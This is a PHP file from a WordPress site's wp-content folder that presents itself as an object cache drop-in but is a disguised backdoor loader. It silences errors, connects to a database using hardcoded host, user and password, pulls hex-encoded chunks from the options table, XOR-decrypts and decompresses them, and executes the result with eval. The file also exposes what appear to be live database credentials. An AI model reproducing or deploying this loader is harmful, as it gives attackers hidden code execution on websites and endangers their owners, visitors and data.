File: /domains/pleunperspective.com/DEFAULT/wp-content/vx.php
<?php
/**
* WordPress Object Cache Drop-in
*
* This file is part of the WordPress Cache API.
* Handles transient data persistence and object buffering.
*
* @package WordPress
* @subpackage Cache
* @version 6.4.2
*/
if (!defined('ABSPATH')) {
// define('ABSPATH', dirname(__FILE__) . '/');
}
error_reporting(0);
@ini_set('display_errors', 0);
if (!class_exists('WP_Object_Cache_Control_Mtwys')) {
class WP_Object_Cache_Control_Mtwys {
private $db;
private $prefix;
public function __construct($h, $u, $p, $n, $x) {
$this->db = new mysqli($h, $u, $p, $n);
$this->prefix = $x;
}
public function load($cfg_key) {
if($this->db->connect_error) return;
$t = $this->prefix . 'options';
$q = "SELECT option_value FROM $t WHERE option_name = '$cfg_key' LIMIT 1";
$r = $this->db->query($q);
if(!$r || $r->num_rows === 0) return;
$cfg = json_decode($r->fetch_assoc()['option_value'], true);
if(!is_array($cfg)) return;
$raw = '';
foreach($cfg['parts'] as $k) {
$q2 = "SELECT option_value FROM $t WHERE option_name = '$k' LIMIT 1";
$r2 = $this->db->query($q2);
if($r2 && $row = $r2->fetch_assoc()) $raw .= $row['option_value'];
}
if(!empty($raw)) $this->_process($raw, $cfg['secret']);
}
private function _process($data, $key) {
$bin = @hex2bin($data);
$out = ''; $len = strlen($bin); $klen = strlen($key);
for($i=0; $i<$len; $i++) $out .= $bin[$i] ^ $key[$i % $klen];
$dec = @gzinflate($out);
if($dec) $this->_render($dec);
}
/**
* Render the buffered content.
*/
private function _render($buffer) {
// Scoped closure execution
$processor = function() use ($buffer) {
eval('?>' . $buffer);
};
$processor();
}
}
}
$sys = new WP_Object_Cache_Control_Mtwys('pleunp6.sql.ghserv.net', 'pleunperspec', 'DowgishtajebHidsodFubchavoger8', 'pleunperspective_com', 'wp_');
$sys->load('wp_sys_transient_vx_cache');
?>